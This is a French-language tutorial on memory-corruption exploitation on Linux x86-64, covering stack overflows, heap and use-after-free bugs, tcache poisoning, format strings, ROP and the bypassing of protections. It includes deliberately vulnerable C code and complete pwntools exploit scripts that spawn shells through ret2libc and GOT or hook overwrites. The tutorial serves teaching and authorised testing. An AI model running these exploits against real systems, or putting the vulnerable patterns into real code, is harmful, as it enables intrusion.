1. Introduction : la corruption mémoire, pilier de l'exploitation
Les vulnérabilités de corruption mémoire représentent la classe de failles la plus ancienne, la plus étudiée et paradoxalement toujours la plus dévastatrice de la sécurité informatique. Du Morris Worm de 1988 -- premier ver Internet exploitant un buffer overflow dans fingerd -- à Heartbleed (CVE-2014-0160) qui a exposé les clés privées TLS de millions de serveurs, en passant par Code Red (2001), Slammer (2003) et EternalBlue (2017), ces vulnérabilités jalonnent l'histoire de la cybersécurité comme des rappels constants que la gestion de la mémoire reste un défi fondamental.
Une corruption mémoire survient lorsqu'un programme modifie la mémoire d'une manière non prévue par le développeur. Les conséquences varient du simple crash (déni de service) à l'exécution de code arbitraire avec les privilèges du processus ciblé. Contrairement aux vulnérabilités logiques ou aux injections web, les corruptions mémoire opèrent au niveau le plus bas de l'abstraction : registres processeur, adresses mémoire, opcodes machine. Cette proximité avec le matériel leur confère une puissance unique mais exige aussi des connaissances approfondies pour les exploiter.
En 2026, malgré des décennies de recherche et de déploiement de protections (ASLR, DEP, stack canaries, CFI), les corruptions mémoire restent omniprésentes. Microsoft a révélé que 70% de ses CVE critiques sont liées à des problèmes de mémoire. Google a confirmé le même ratio pour Chromium. Le langage C et C++, qui dominent le développement système, noyau et embarqué, restent le terrain fertile de ces vulnérabilités. L'émergence de Rust et de langages memory-safe ne résout pas le problème immédiat : des milliards de lignes de code C/C++ existant ne seront pas réécrites du jour au lendemain.
Cet article propose une exploration complète de l'univers du buffer overflow et de la corruption mémoire : des fondamentaux de l'architecture mémoire aux techniques d'exploitation modernes comme le Return-Oriented Programming (ROP) et le Sigreturn-Oriented Programming (SROP), en passant par les mécanismes de protection et leurs contournements. Que vous soyez pentester, développeur sécurité ou analyste, comprendre ces mécanismes est indispensable pour évaluer, exploiter et corriger ces vulnérabilités fondamentales. Les techniques présentées ici sont destinées à un usage légal et éthique dans le cadre d'audits de sécurité autorisés, conformément à la législation en vigueur.
Avertissement légal
L'exploitation de vulnérabilités sur des systèmes sans autorisation explicite est un délit pénal (articles 323-1 à 323-7 du Code pénal). Les techniques décrites dans cet article sont à usage strictement éducatif et doivent être pratiquées dans un environnement contrôlé (CTF, lab personnel, engagement de pentest autorisé).
2. Fondamentaux de la mémoire : anatomie d'un processus
2.1 Architecture mémoire d'un processus
Pour comprendre les corruptions mémoire, il faut d'abord maîtriser l'organisation mémoire d'un processus en cours d'exécution. Sur un système Linux x86-64, chaque processus dispose d'un espace d'adressage virtuel de 128 To (48 bits d'adresses canoniques), organisé en segments distincts :
- .text (code segment) : contient le code machine du programme, mappé en lecture et exécution (r-x). C'est ici que résident les instructions assembleur compilées. Ce segment est généralement en lecture seule pour empêcher la modification du code à l'exécution.
- .data : variables globales et statiques initialisées. Par exemple,
int counter = 42;sera stocké dans .data. Permissions : lecture-écriture (rw-). - .bss (Block Started by Symbol) : variables globales et statiques non initialisées ou initialisées à zéro. Ce segment n'occupe pas d'espace dans le fichier binaire sur disque, mais est alloué en mémoire au chargement. Permissions : lecture-écriture (rw-).
- Heap (tas) : zone d'allocation dynamique gérée par
malloc(),calloc(),realloc()etfree(). Le heap croît vers les adresses hautes (vers le haut). L'allocateur standard sous Linux est ptmalloc2 (glibc), dérivé de dlmalloc. - Stack (pile) : zone d'allocation automatique pour les variables locales, les paramètres de fonctions et les adresses de retour. La stack croît vers les adresses basses (vers le bas) sur x86-64. Chaque thread possède sa propre stack.
- Bibliothèques partagées : les fichiers .so (libc, libpthread, etc.) sont mappés dans l'espace d'adressage entre le heap et la stack, à des adresses aléatoires grâce à l'ASLR.
- Kernel space : la moitié supérieure de l'espace d'adressage (adresses canoniques hautes) est réservée au noyau, inaccessible depuis l'espace utilisateur.
La commande cat /proc/[pid]/maps permet de visualiser le mapping mémoire d'un processus en cours d'exécution, révélant les adresses exactes de chaque segment, les permissions et les fichiers associés. C'est un outil fondamental pour l'analyse de binaires et l'élaboration d'exploits.
# Exemple de sortie de /proc/maps (simplifié)
555555554000-555555555000 r--p /usr/bin/vuln_app # ELF header
555555555000-555555556000 r-xp /usr/bin/vuln_app # .text (code)
555555556000-555555557000 r--p /usr/bin/vuln_app # .rodata
555555557000-555555558000 r--p /usr/bin/vuln_app # .data
555555558000-555555559000 rw-p /usr/bin/vuln_app # .bss
555555559000-55555557a000 rw-p [heap] # Heap
7ffff7c00000-7ffff7c28000 r--p /lib/x86_64-linux-gnu/libc.so.6
7ffff7c28000-7ffff7dbd000 r-xp /lib/x86_64-linux-gnu/libc.so.6 # libc code
7ffffffde000-7ffffffff000 rw-p [stack] # Stack
2.2 Registres x86-64 essentiels
L'architecture x86-64 (AMD64) dispose de 16 registres généraux de 64 bits. Pour l'exploitation, certains sont critiques :
| Registre | Rôle | Importance en exploitation |
|---|---|---|
RIP | Instruction Pointer : pointe vers la prochaine instruction à exécuter | Contrôler RIP = contrôler le flux d'exécution. C'est l'objectif principal de tout exploit. |
RSP | Stack Pointer : pointe vers le sommet de la stack | Manipulé par push/pop/call/ret. Essentiel pour les ROP chains. |
RBP | Base Pointer : pointe vers la base du stack frame courant | Utilisé pour accéder aux variables locales et aux arguments. Saved RBP est une cible d'écrasement. |
RAX | Accumulateur : valeur de retour des fonctions | Contient la valeur de retour, utilisé pour les syscalls (numéro dans RAX). |
RDI | Premier argument des fonctions (System V ABI) | Doit contenir l'adresse de "/bin/sh" pour un appel à system(). |
RSI | Deuxième argument des fonctions | Deuxième argument syscall/fonction. |
RDX | Troisième argument des fonctions | Troisième argument syscall/fonction. |
La convention d'appel System V AMD64 ABI (utilisée sous Linux, macOS, FreeBSD) passe les six premiers arguments entiers dans les registres RDI, RSI, RDX, RCX, R8, R9. Les arguments supplémentaires sont passés sur la stack. La valeur de retour est dans RAX. Sous Windows, la convention est différente : RCX, RDX, R8, R9 pour les quatre premiers arguments.
2.3 Stack frame : anatomie d'un appel de fonction
Lorsqu'une fonction est appelée, un stack frame (cadre de pile) est créé. Ce frame contient toutes les données nécessaires à l'exécution de la fonction et à la reprise de l'exécution de l'appelant après le retour. Voici la séquence complète :
- L'appelant place les arguments sur la stack (si plus de 6 arguments) ou dans les registres (RDI, RSI, RDX...).
- L'instruction
callpousse l'adresse de retour (RIP de l'instruction suivante) sur la stack et saute vers la fonction appelée. - Le prologue de la fonction sauvegarde le RBP de l'appelant (
push rbp), établit le nouveau base pointer (mov rbp, rsp) et alloue l'espace pour les variables locales (sub rsp, N). - Le corps de la fonction s'exécute, accédant aux variables locales via
[rbp - offset]et aux arguments via les registres ou[rbp + offset]. - L'épilogue restaure la stack (
leave=mov rsp, rbp; pop rbp) et retourne (ret=pop rip).
; Prologue typique x86-64
push rbp ; sauvegarder le base pointer de l'appelant
mov rbp, rsp ; établir le nouveau base pointer
sub rsp, 0x40 ; allouer 64 octets pour les variables locales
; ... corps de la fonction ...
; Épilogue
leave ; mov rsp, rbp ; pop rbp
ret ; pop rip (retourner à l'appelant)
La disposition mémoire du stack frame est cruciale pour comprendre les buffer overflows. En partant des adresses hautes (base de la stack) vers les adresses basses (sommet) :
- Arguments empilés (si > 6)
- Adresse de retour (Return Address) -- poussée par
call - Saved RBP -- sauvegardé par le prologue
- Variables locales -- allouées par
sub rsp, N - Éventuels stack canaries -- insérés par le compilateur entre les variables locales et le saved RBP
C'est cette disposition qui rend le buffer overflow classique possible : un buffer local qui déborde écrase d'abord les variables locales adjacentes, puis le canary (s'il existe), puis le saved RBP, et enfin l'adresse de retour. Contrôler cette adresse de retour, c'est contrôler le flux d'exécution du programme.
2.4 Conventions d'appel et alignement
L'ABI System V AMD64 impose un alignement de la stack à 16 octets avant chaque instruction call. Ce point technique, souvent négligé par les débutants, peut faire échouer un exploit autrement correct : si la stack n'est pas alignée à 16 octets au moment d'un appel à system() ou printf(), la fonction peut crasher sur des instructions SSE qui nécessitent cet alignement. La solution est d'ajouter un gadget ret supplémentaire dans la ROP chain pour réajuster l'alignement.
La compréhension de ces fondamentaux est indispensable. Chaque byte compte, chaque offset doit être précis. L'exploitation mémoire est un exercice de précision chirurgicale où une erreur d'un seul octet peut transformer un exploit fonctionnel en un crash inutile.
3. Stack Buffer Overflow : l'attaque classique décortiquée
3.1 Principe fondamental
Le stack buffer overflow est la forme la plus classique de corruption mémoire. Le principe est simple : un buffer alloué sur la stack est rempli au-delà de sa capacité, ce qui écrase les données adjacentes situées à des adresses plus élevées. Si l'écriture dépasse suffisamment, elle atteint le stack canary (s'il existe), le saved RBP, puis l'adresse de retour. En contrôlant cette adresse de retour, l'attaquant redirige l'exécution du programme vers un code arbitraire.
Les fonctions C dangereuses à l'origine de la plupart des overflows historiques incluent :
gets(): lit depuis stdin sans aucune limite de taille. Retirée du standard C11. Si vous voyez cette fonction dans du code, c'est une faille garantie.strcpy()/strcat(): copient/concatènent sans vérifier la taille du buffer destination.sprintf(): formatage dans un buffer sans limite de taille.scanf("%s", buf): lit un mot sans limite.read()avec une taille supérieure au buffer : même read() peut causer un overflow si le paramètrecountdépasse la taille du buffer.
3.2 Exemple de code vulnérable
Considérons un programme C volontairement vulnérable, typique d'un challenge CTF ou d'un exercice de formation :
// vuln.c - Programme vulnérable à un stack buffer overflow
#include <stdio.h>
#include <string.h>
void secret_function() {
printf("[+] Bravo ! Vous avez redirigé l'exécution !\n");
printf("[+] Exécution de /bin/sh...\n");
system("/bin/sh");
}
void vulnerable_function() {
char buffer[64]; // 64 octets alloués sur la stack
printf("Entrez votre nom : ");
gets(buffer); // DANGEREUX : aucune vérification de taille !
printf("Bonjour, %s !\n", buffer);
}
int main() {
printf("=== Programme vulnérable ===\n");
vulnerable_function();
printf("Fin normale du programme.\n");
return 0;
}
Compilons ce programme sans les protections modernes pour illustrer l'exploitation classique :
# Compilation sans protections pour l'apprentissage
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -m64
# -fno-stack-protector : désactive les stack canaries
# -z execstack : rend la stack exécutable (désactive NX)
# -no-pie : désactive la randomisation de l'adresse de base
# -m64 : compilation 64 bits
# Vérifier les protections
checksec --file=vuln
# RELRO STACK CANARY NX PIE RPATH RUNPATH
# Partial No canary NX disabled No PIE No No
3.3 Trouver l'offset : De Bruijn et pattern matching
La première étape d'exploitation est de déterminer le nombre exact d'octets nécessaires pour atteindre l'adresse de retour depuis le début du buffer. Deux méthodes principales existent :
Méthode 1 : Pattern cyclique (De Bruijn sequence)
Un motif de De Bruijn est une séquence de caractères où chaque sous-séquence de longueur N apparaît exactement une fois. Cela permet d'identifier précisément quel offset dans l'entrée a écrasé RIP :
# Avec Metasploit
$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3...
# Envoyer le pattern au programme, noter la valeur dans RIP au crash
$ gdb ./vuln
(gdb) run < <(msf-pattern_create -l 200)
# Program received signal SIGSEGV
# RIP: 0x6341356341346341
$ msf-pattern_offset -q 0x6341356341346341
[*] Exact match at offset 72
# Avec pwntools (Python)
from pwn import *
pattern = cyclic(200)
# Après crash, trouver l'offset :
offset = cyclic_find(0x6341356341346341)
# offset = 72
L'offset de 72 signifie que l'adresse de retour commence au 73e octet. Les 64 premiers octets remplissent le buffer, les 8 suivants écrasent le saved RBP (en 64-bit), et les 8 suivants écrasent l'adresse de retour. Cela correspond au layout attendu : buffer[64] + saved_RBP[8] = 72 octets avant l'adresse de retour.
Méthode 2 : GDB et pwndbg
# Avec pwndbg (extension GDB)
$ gdb ./vuln
pwndbg> cyclic 200
aaaabaaacaaadaaa...
pwndbg> run
# Entrer le pattern cyclique
# Au crash :
pwndbg> cyclic -l $rsp
Finding cyclic pattern of 8 bytes: b'faaagaaa' (hex: 0x6661616167616161)
Found at offset 72
3.4 Exploitation pas à pas avec pwntools
Une fois l'offset connu et l'adresse de la fonction cible identifiée, l'exploitation devient directe :
#!/usr/bin/env python3
# exploit.py - Exploit complet pour le programme vulnérable
from pwn import *
# Configuration
context.arch = 'amd64'
context.log_level = 'info'
# Charger le binaire
elf = ELF('./vuln')
target = elf.symbols['secret_function']
log.info(f"Adresse de secret_function : {hex(target)}")
# Construire le payload
offset = 72 # octets avant l'adresse de retour
payload = b'A' * offset # remplir buffer + saved RBP
payload += p64(target) # écraser RIP avec l'adresse cible
# Lancer l'exploit
p = process('./vuln')
p.recvuntil(b'nom : ')
p.sendline(payload)
# Interagir avec le shell obtenu
p.interactive()
Pour un scénario plus réaliste avec injection de shellcode (quand la stack est exécutable et sans ASLR) :
#!/usr/bin/env python3
# shellcode_exploit.py - Exploitation avec NOP sled + shellcode
from pwn import *
context.arch = 'amd64'
# Shellcode Linux x86-64 : execve("/bin/sh", NULL, NULL)
shellcode = asm(shellcraft.sh())
# Adresse approximative du buffer sur la stack (trouvée via GDB)
buffer_addr = 0x7fffffffe000
offset = 72
nop_sled_size = offset - len(shellcode)
payload = b'\x90' * nop_sled_size # NOP sled
payload += shellcode # shellcode
payload += p64(buffer_addr) # adresse de retour -> NOP sled
p = process('./vuln')
p.recvuntil(b'nom : ')
p.sendline(payload)
p.interactive()
3.5 Debugging avec GDB/pwndbg
Le debugging est essentiel dans le développement d'exploits. pwndbg et GEF sont deux extensions GDB indispensables qui ajoutent des commandes spécialisées pour l'exploitation :
# Installation de pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Commandes utiles dans pwndbg
pwndbg> checksec # Vérifier les protections du binaire
pwndbg> vmmap # Afficher le mapping mémoire (équivalent de /proc/maps)
pwndbg> stack 20 # Afficher 20 entrées de la stack
pwndbg> telescope $rsp 20 # Afficher la stack avec déréférencement automatique
pwndbg> x/40gx $rsp # Examiner 40 quadwords depuis RSP
pwndbg> disassemble vulnerable_function # Désassembler la fonction
pwndbg> break *vulnerable_function+42 # Breakpoint sur l'instruction ret
pwndbg> info registers # État des registres
pwndbg> canary # Afficher la valeur du canary (si présent)
Le workflow typique de développement d'exploit combine pwntools en Python pour l'automatisation et la construction de payloads avec GDB/pwndbg pour l'analyse interactive. pwntools offre la méthode gdb.attach(p) qui attache automatiquement GDB au processus exploité, permettant de débugger l'exploit en temps réel. Ce duo est incontournable dans l'arsenal de tout chercheur en sécurité binaire, comme détaillé dans notre article sur les techniques d'évasion EDR/XDR qui aborde également les mécanismes de détection bas niveau.
4. Heap Overflow et Use-After-Free : exploitation du tas
4.1 L'allocateur ptmalloc2 : chunks, bins et tcache
Alors que la stack est une structure simple (LIFO), le heap est un espace d'allocation dynamique complexe géré par un allocateur. Sous Linux avec glibc, l'allocateur standard est ptmalloc2, une évolution de dlmalloc de Doug Lea adaptée pour le multithreading. Comprendre son fonctionnement interne est essentiel pour exploiter les vulnérabilités heap.
La mémoire du heap est organisée en chunks (blocs). Chaque chunk possède une structure de métadonnées :
// Structure simplifiée d'un chunk malloc (glibc ptmalloc2)
struct malloc_chunk {
size_t prev_size; // Taille du chunk précédent (si libre)
size_t size; // Taille de ce chunk + flags (3 bits bas)
// bit 0 (P): PREV_INUSE - chunk précédent est utilisé
// bit 1 (M): IS_MMAPPED - chunk alloué via mmap
// bit 2 (A): NON_MAIN_ARENA - chunk dans une arène secondaire
// Les champs suivants ne sont actifs que pour les chunks libres :
struct malloc_chunk *fd; // Forward pointer (chunk libre suivant)
struct malloc_chunk *bk; // Backward pointer (chunk libre précédent)
};
Les chunks libres sont organisés dans des bins, des listes chaînées triées par taille :
- Tcache (Thread-Local Caching, depuis glibc 2.26) : cache per-thread de 64 bins, chacun contenant jusqu'à 7 chunks. Le tcache est LIFO (pile) et effectue peu de vérifications, ce qui en fait une cible privilégiée pour les exploits modernes.
- Fast bins : bins LIFO pour les petits chunks (16 à 160 octets sur x86-64). Pas de consolidation avec les chunks adjacents. Protégés par "safe linking" depuis glibc 2.32.
- Unsorted bin : bin unique où les chunks libérés sont placés temporairement avant d'être triés dans les small/large bins.
- Small bins : 62 bins FIFO pour les chunks de 32 à 1024 octets (pas de 16).
- Large bins : bins pour les chunks de plus de 1024 octets, triés par taille décroissante.
4.2 Heap Overflow : écrasement des métadonnées
Un heap overflow se produit lorsqu'une écriture dépasse les limites d'un chunk alloué sur le heap. Contrairement au stack overflow, il n'y a pas d'adresse de retour à écraser directement. L'attaquant cible plutôt les métadonnées des chunks adjacents (size, fd, bk) ou les données applicatives d'un objet adjacent (pointeurs de fonction, pointeurs vers des structures critiques).
// Exemple de heap overflow
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[32];
void (*handler)(void); // pointeur de fonction
} User;
int main() {
char *buffer = malloc(64);
User *admin = malloc(sizeof(User));
admin->handler = normal_handler;
// Overflow : si l'input dépasse 64 octets, il écrase
// les métadonnées et données du chunk 'admin'
read(0, buffer, 256); // lit jusqu'à 256 octets dans un buffer de 64 !
// Si handler a été écrasé, cet appel exécute du code arbitraire
admin->handler();
free(buffer);
free(admin);
return 0;
}
4.3 Use-After-Free (UAF)
Le Use-After-Free est sans doute la classe de vulnérabilité heap la plus exploitée aujourd'hui. Elle survient lorsqu'un programme continue à utiliser un pointeur vers un chunk de mémoire après que celui-ci a été libéré par free(). Ce pointeur est alors un dangling pointer (pointeur suspendu) -- il pointe vers une zone de mémoire qui peut être réallouée pour un autre usage.
L'exploitation repose sur un principe simple : si l'attaquant peut provoquer une nouvelle allocation de la même taille après le free, le nouvel objet occupera le même emplacement mémoire. Si le programme utilise ensuite le dangling pointer, il accédera aux données contrôlées par l'attaquant. Pour les navigateurs web, cette technique est détaillée dans notre article sur la browser exploitation et V8 sandbox escape.
// Scénario UAF simplifié
Object *obj = malloc(sizeof(Object));
obj->vtable = legitimate_vtable;
free(obj); // obj est libéré, mais le pointeur reste valide en mémoire
// obj est maintenant un "dangling pointer"
// L'attaquant provoque une allocation de la même taille
char *evil = malloc(sizeof(Object));
// evil occupe le même emplacement que obj !
memcpy(evil, &attacker_controlled_data, sizeof(Object));
// Le programme utilise le dangling pointer
obj->vtable->method(); // Appel via la vtable contrôlée = RCE
4.4 Double Free
Un double free se produit lorsque free() est appelé deux fois sur le même pointeur. Cela corrompt les structures internes de l'allocateur. Dans le contexte du tcache, un double free crée une boucle dans la liste chaînée : le chunk libéré deux fois apparaît deux fois dans le tcache bin. Les allocations suivantes retourneront le même chunk deux fois, permettant un arbitrary write (écriture arbitraire). Depuis glibc 2.29, un champ key dans les chunks tcache détecte les double frees, mais des techniques de contournement existent.
4.5 Tcache Poisoning
Le tcache poisoning est la technique d'exploitation heap moderne la plus répandue. Elle consiste à modifier le pointeur fd (forward) d'un chunk libre dans le tcache pour pointer vers une adresse arbitraire. Lors de la prochaine allocation de la même taille, malloc() retournera l'adresse forgée, permettant à l'attaquant d'écrire des données arbitraires à une adresse de son choix.
# Tcache poisoning avec pwntools
from pwn import *
# Étape 1: Allouer deux chunks
alloc(0, 0x20) # chunk A
alloc(1, 0x20) # chunk B
# Étape 2: Libérer les deux chunks (ils vont dans le tcache)
free(1) # tcache[0x30] : B
free(0) # tcache[0x30] : A -> B
# Étape 3: Modifier le fd de A pour pointer vers __free_hook
edit(0, p64(libc.sym['__free_hook']))
# tcache[0x30] : A -> __free_hook
# Étape 4: Deux allocations
alloc(2, 0x20) # retourne A
alloc(3, 0x20) # retourne __free_hook !
# Étape 5: Écrire system() dans __free_hook
edit(3, p64(libc.sym['system']))
# Étape 6: free() d'un chunk contenant "/bin/sh"
edit(2, b'/bin/sh\x00')
free(2) # déclenche system("/bin/sh")
Outils d'analyse heap
Pour analyser l'état du heap pendant le debugging, utilisez les commandes spécialisées de pwndbg :
heap -- affiche tous les chunks du heap
bins -- affiche l'état de tous les bins (tcache, fast, unsorted, small, large)
vis_heap_chunks -- visualisation graphique des chunks
tcachebins -- état spécifique du tcache
Ces outils sont indispensables pour développer et comprendre les exploits heap.
5. Format String Attacks : quand printf devient une arme
5.1 Le principe
Une vulnérabilité de format string se produit lorsqu'une entrée utilisateur est passée directement comme premier argument (la chaîne de format) à une fonction de la famille printf : printf(user_input) au lieu de printf("%s", user_input). Cette erreur apparemment mineure permet à l'attaquant de lire et d'écrire en mémoire de manière arbitraire.
Les fonctions de formatage C (printf, fprintf, sprintf, snprintf, syslog) interprètent des spécificateurs de format dans leur premier argument. Sans argument correspondant, ces spécificateurs lisent des valeurs depuis la stack :
| Spécificateur | Action | Usage offensif |
|---|---|---|
%x / %p | Affiche une valeur hexadécimale / pointeur depuis la stack | Lecture mémoire : fuite d'adresses (ASLR bypass, canary leak) |
%s | Lit une chaîne de caractères à l'adresse pointée par l'argument | Lecture arbitraire en mémoire (si l'adresse est contrôlée) |
%n | Écrit le nombre de caractères affichés à l'adresse pointée par l'argument | Écriture arbitraire en mémoire ! |
%N$x | Accès direct au N-ième argument (Direct Parameter Access) | Lire un offset spécifique sur la stack sans consommer les précédents |
%hhn | Écrit un seul octet (au lieu de 4 avec %n) | Écriture octet par octet pour des valeurs précises |
5.2 Exploitation pratique
L'exploitation d'une format string se décompose en phases :
Phase 1 : Lecture mémoire et fuites d'information
# Trouver les valeurs sur la stack
$ ./vuln_fmt "AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
AAAA.f7f9c580.00000000.080484d0.41414141.2e783830.2e783830.2e783830.2e783830
# Le "41414141" (AAAA) apparaît au 4ème %x
# Cela signifie que notre input se trouve au 4ème offset sur la stack
# Avec l'accès direct au paramètre :
$ ./vuln_fmt "%4$x"
41414141 # Confirmation : offset 4
# Fuite du stack canary (souvent à un offset prévisible)
$ ./vuln_fmt "%11$p"
0xd66a8a3f14f8c700 # Canary (commence souvent par un octet nul)
Phase 2 : Écriture arbitraire avec %n
Le spécificateur %n écrit le nombre de caractères affichés jusqu'à ce point à l'adresse fournie en argument. En combinant le contrôle du format string avec des adresses placées stratégiquement dans l'entrée, on obtient une primitive d'écriture arbitraire -- l'une des primitives les plus puissantes en exploitation. Cette approche est similaire aux techniques de désérialisation et gadgets qui exploitent des constructions de données contrôlées par l'attaquant.
# Exploitation format string avec pwntools
from pwn import *
# Adresse de la GOT entry de puts (à écraser avec system)
got_puts = 0x0804a010
system_addr = 0xf7e1c700
# pwntools a un générateur automatique de payloads format string
payload = fmtstr_payload(4, {got_puts: system_addr})
# Le 4 est l'offset trouvé précédemment
p = process('./vuln_fmt')
p.sendline(payload)
5.3 Protection : FORTIFY_SOURCE
La macro _FORTIFY_SOURCE (activée par défaut avec -O2 dans GCC et Clang) remplace les fonctions dangereuses par des variantes sécurisées à la compilation. Pour les format strings, elle interdit l'utilisation de %n dans les chaînes de format qui ne résident pas en mémoire en lecture seule. Cette protection est efficace mais ne couvre pas tous les cas, notamment les chaînes de format construites dynamiquement dans le segment .data.
6. Return-Oriented Programming (ROP) : contourner DEP/NX
6.1 Pourquoi ROP ?
La protection DEP/NX (Data Execution Prevention / No-Execute) marque les zones de données (stack, heap) comme non-exécutables. Un shellcode injecté sur la stack ne peut plus être exécuté directement : le processeur lève une exception de type "segmentation fault". Cette protection, déployée massivement depuis les années 2000, a rendu obsolète l'injection directe de shellcode.
Le Return-Oriented Programming (ROP), introduit par Hovav Shacham en 2007, contourne élégamment DEP/NX. Au lieu d'injecter du nouveau code, le ROP réutilise des fragments de code existant déjà présents dans les sections exécutables du binaire et de ses bibliothèques. Ces fragments sont appelés gadgets.
6.2 Anatomie d'un gadget ROP
Un gadget ROP est une courte séquence d'instructions assembleur se terminant par une instruction ret. L'instruction ret dépile l'adresse au sommet de la stack et saute vers elle. En contrôlant la stack (via un buffer overflow), l'attaquant enchaîne les gadgets pour construire un programme complet, instruction par instruction.
Exemples de gadgets courants :
; Gadget 1 : charger une valeur dans RDI (premier argument de fonction)
pop rdi
ret
; Gadget 2 : charger une valeur dans RSI (deuxième argument)
pop rsi
ret
; Gadget 3 : appeler syscall
syscall
ret
; Gadget 4 : réaligner la stack
ret ; un simple "ret" ajoute 8 octets de décalage
; Gadget 5 : écriture mémoire
mov [rdi], rax
ret
6.3 Construction d'une ROP chain : ret2libc et ret2system
La technique ret2libc est la forme la plus simple de ROP : rediriger l'exécution vers une fonction de la libc. L'objectif classique est d'appeler system("/bin/sh"). En x86-64 (System V ABI), il faut placer l'adresse de la chaîne "/bin/sh" dans RDI avant d'appeler system() :
#!/usr/bin/env python3
# rop_exploit.py - ROP chain ret2system complète
from pwn import *
context.arch = 'amd64'
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Phase 1 : Fuite d'adresse libc (si ASLR activé)
# Technique : utiliser puts@plt pour afficher puts@got
# puts@got contient l'adresse réelle de puts en mémoire
rop1 = ROP(elf)
rop1.call('puts', [elf.got['puts']]) # puts(puts@got)
rop1.call('main') # retourner au main pour réexploiter
payload1 = b'A' * 72 + rop1.chain()
p = process('./vuln')
p.recvuntil(b'nom : ')
p.sendline(payload1)
p.recvline() # "Bonjour, AAA..."
# Récupérer l'adresse leaked de puts
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"puts@libc : {hex(leaked_puts)}")
# Calculer la base de la libc
libc.address = leaked_puts - libc.sym['puts']
log.info(f"libc base : {hex(libc.address)}")
# Phase 2 : ROP chain finale -> system("/bin/sh")
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh'))])
# Gadget ret pour alignement stack à 16 octets
ret_gadget = rop2.find_gadget(['ret'])[0]
payload2 = b'A' * 72 + p64(ret_gadget) + rop2.chain()
p.recvuntil(b'nom : ')
p.sendline(payload2)
p.interactive() # Shell !
6.4 Outils de recherche de gadgets
Plusieurs outils spécialisés permettent de trouver automatiquement les gadgets ROP dans un binaire. Ces outils sont essentiels car un binaire de taille moyenne peut contenir des milliers de gadgets potentiels :
# ROPgadget : l'outil historique de Jonathan Salwan
$ ROPgadget --binary ./vuln --only "pop|ret"
0x0000000000401234 : pop rdi ; ret
0x0000000000401236 : pop rsi ; pop r15 ; ret
# Recherche dans la libc (énorme nombre de gadgets)
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
# ropper : alternative avec interface interactive
$ ropper --file ./vuln --search "pop rdi"
0x0000000000401234: pop rdi; ret;
# one_gadget : trouve des gadgets "magiques" dans la libc
# qui appellent directement execve("/bin/sh") sous certaines contraintes
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
La technique ROP est fondamentale et constitue la base de quasiment tous les exploits modernes. Elle est utilisée aussi bien dans l'exploitation userland que dans l'exploitation du noyau Windows et le bypass KASLR. La maîtrise du ROP est un prérequis pour les chercheurs en sécurité binaire.
7. Protections et techniques de bypass
7.1 Stack Canaries
Les stack canaries (ou stack cookies, stack guards) sont des valeurs sentinelles placées entre les variables locales et le saved RBP/adresse de retour. Avant le retour de la fonction, le compilateur insère un code de vérification : si le canary a été modifié (écrasé par un overflow), le programme appelle __stack_chk_fail() et termine avec un message "*** stack smashing detected ***". Le canary est généré aléatoirement au démarrage du programme et stocké dans le TLS (Thread-Local Storage).
Techniques de bypass :
- Canary leak : si une vulnérabilité de fuite d'information existe (format string, read over-read), l'attaquant peut lire la valeur du canary avant d'effectuer l'overflow, puis la réécrire correctement dans le payload.
- Brute-force sur fork servers : si le programme fork() pour chaque connexion (typique des serveurs réseau), le canary reste identique dans le processus enfant. L'attaquant peut deviner le canary octet par octet (256 tentatives par octet, soit 2048 tentatives max pour un canary de 8 octets en 64-bit, car le premier octet est toujours nul).
- Overflow sans écraser le canary : certaines dispositions de mémoire permettent d'écraser des pointeurs critiques (pointeurs de fonction, variables de contrôle de flux) sans atteindre le canary.
- Thread Local Storage overwrite : si un overflow est suffisamment grand, il peut écraser la valeur de référence du canary dans le TLS, rendant la vérification sans effet.
7.2 ASLR (Address Space Layout Randomization)
L'ASLR randomise les adresses de base de la stack, du heap, des bibliothèques partagées (et du binaire avec PIE) à chaque exécution du programme. L'attaquant ne peut plus utiliser d'adresses codées en dur dans ses exploits car elles changent à chaque lancement.
# Vérifier le statut ASLR sous Linux
$ cat /proc/sys/kernel/randomize_va_space
2 # 0=off, 1=stack/libs, 2=stack/libs/heap (full)
# Observer la randomisation :
$ ldd /bin/ls | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7f8b3c200000)
$ ldd /bin/ls | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7f1a4e800000)
# Adresses différentes à chaque invocation !
Techniques de bypass :
- Information leak (fuite d'adresse) : la méthode principale. Utiliser une vulnérabilité secondaire pour lire une adresse en mémoire (GOT entry, adresse de retour sur la stack, pointeur de la libc). À partir d'une seule adresse libc, calculer la base et toutes les autres adresses. Cette technique est illustrée dans la ROP chain de la section précédente.
- Partial overwrite : n'écraser que les octets de poids faible de l'adresse de retour (1-2 octets). Les octets de poids fort ne changent pas entre les exécutions car la randomisation est limitée. Avec 1 octet écrasé, 100% de fiabilité ; avec 2 octets, 1/16 de chances (4096 pages possibles, 12 bits randomisés).
- Brute-force en 32-bit : sur les systèmes 32-bit, l'ASLR n'offre que ~8 bits d'entropie pour les bibliothèques (256 positions possibles). Le brute-force réussit en quelques minutes. Sur x86-64, l'entropie est de 28-30 bits, rendant le brute-force impraticable.
- Return-to-PLT/GOT : sur les binaires sans PIE (No PIE), les adresses du PLT et du GOT sont fixes. L'attaquant peut appeler des fonctions de la libc via le PLT sans connaître leurs adresses réelles.
7.3 DEP/NX (Data Execution Prevention / No-Execute)
DEP/NX marque les zones de données (stack, heap, .data, .bss) comme non-exécutables. Implémenté via le bit NX du processeur (XD bit chez Intel, NX bit chez AMD), cette protection empêche l'exécution de shellcode injecté dans les zones de données. Activée par défaut sur tous les systèmes modernes.
